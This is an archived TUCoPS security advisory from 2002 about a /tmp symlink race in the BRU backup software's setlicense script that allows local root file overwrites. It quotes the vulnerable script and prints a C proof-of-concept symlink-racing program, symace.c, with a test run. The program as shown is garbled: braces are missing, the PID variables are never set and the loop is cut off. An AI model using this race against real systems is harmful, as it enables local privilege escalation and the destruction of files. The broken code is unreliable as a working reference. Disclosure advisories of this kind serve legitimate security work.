Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!

TUCoPS :: Linux :: Apps A-M :: lnx5038.htm

BRU backup software /tmp symlink race condition leads to local root
29th Jan 2002 [SBWID-5038]

	BRU backup software /tmp symlink race condition leads to local root


	 All versions ??


	Andrew Griffiths posted :

	The usage of insecure tmp files in some of the  various  shell  scripts,
	which allows you to overwrite arbitrary files with  foobar.  Since  this
	script would most likely be run by root, it allows you to overwrite  any
	files you want.

	This is the beginnings of the setlicense shell  script.  For  those  who
	don\'t know, $$ is the current pid of the shell.


	printf \"%s\" foobar >/tmp/brutest.$$ 2>&1

	res=`cat /tmp/brutest.$$`

	rm -f /tmp/brutest.$$

	if test \"$res\" != \"foobar\"; then

	        alias printf=\"echo -n -e\"



	So all that needs to be done is create a fair amount of  symbolic  links
	in the temp directory pointing to the file you want to overwrite.




	/* symace.c -0.0.1 - A generic filesystem symlink/race thinger */


	#include <stdlib.h>

	#include <string.h>

	#include <unistd.h>

	#include <stdio.h>


	/* Please note that there is no error checking... */

	/* By Andrew Griffiths (    */


	int main(int argc, char **argv)


	        char *overwrite;

	        char *base;

	        int start_pid, end_pid;

	        int i, size;


	        overwrite = strdup(argv[1]);

	        size = strlen(argv[2]) + 8 + 1;

	        base = malloc(size);




	        for(i=start_pid;i<end_pid;i++) {

	                memset(base, 0, size-1);

	                snprintf(base, size-1, \"%s%d\", argv[2], i);

	                if(symlink(overwrite, base)==-1) {

	                        printf(\"Unable to create %s bailing\\n\", base);








	 Test Run



	[andrewg@blackhole src]$ echo hello world > /tmp/hello

	[andrewg@blackhole src]$ ./symace /tmp/hello /tmp/brutest. 12037 13000



	On another terminal:

	[andrewg@blackhole x86-linux-glibc2.1]$ ./setlicense

	./setlicense: cd: /bru: No such file or directory

	/bru does not exist.  BRU may not be installed.



	None yet.

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2015 AOH